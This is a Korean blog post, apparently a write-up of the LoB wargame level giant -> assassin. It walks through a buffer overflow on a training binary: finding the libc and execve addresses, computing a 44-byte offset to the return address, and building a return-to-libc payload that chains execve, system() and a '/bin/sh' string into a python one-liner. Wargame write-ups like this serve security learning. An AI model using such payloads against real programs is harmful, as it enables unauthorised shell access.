프로그램 분석
-
ldd /home/giant/assassin | grep libc | awk print $4
-
공유 라이브러리의 주소
-
그런데 giant의 assassin에는 접근이 불가능하니 현제 파일로 해서 주소를 구해도 됨
-
-
nm /lib/libc.so.6 | grep __execve | awk print $1
-
execve이 공유 라이브러리에 어디에 있는지 오프셋을 구한다.
-
-
ret == execve_addr과 같아야 if문에 빠지지 않는다.
-
argv[1] 을 buffer에 저장한다.
알아야 할 것
-
execve()의 주소
-
execve()함수 사용법
-
ret까지의 거리
-
system()주소
- "/bin/sh"주소
execve()의 주소
즉 1번 값 + 2번 값 = execve()함수의 주소
execve()의 사용법
filename
-실행 가능한 파일의 실행코드를 현재 프로세스에 적재하여 기존의 실행코드와 교체하여 새로운 기능으로 실행
즉, 현재 실행되는 프로그램의 기능은 없어지고 filename프로그램을 메모리에 loading하여 처음부터 실행
argv[]
-c언어에서 main(int argc, char *argv[])의 argv와 같다 마지막 array 다음은 NULL이어야 한다.
envp[]
-key=value형식의 한경변수 문자열 배열리스트로 마지막은 NULL이어야 한다.
-만약 설정된 환경변수를 사용하려면 environ 전역변수를 그냥 사용한다.
RET까지의 거리
-buffer가 ebp-40부터 이다.
-그러니 ret까지의 거리는 44이다.
system() 주소
/bin/sh의 주소
payload= 'A'*44+'0x400a9d48'+'0x40058ae0'+'AAAA'+'0x400fbff9'
"`python -c "print 'A'*44+'\x48\x9d\x0a\x40'+'\xe0\x8a\x05\x40'+'BBBB'+'\xf9\xbf\x0f\x40'"`"
★\x0a가 \x00으로 표시되니 " "큰 따옴표로 한 번 감싸주자
'포너블 > LoB' 카테고리의 다른 글
[LOB] assassin -> zombie_assassin (0) | 2020.02.09 |
---|---|
[LOB]giant -> assassin (0) | 2020.02.06 |
[LOB] darkknight -> bugbear (0) | 2020.02.06 |
[LOB] golem->darkknight (0) | 2020.02.01 |
[LOB] goblin -> orc (0) | 2019.10.02 |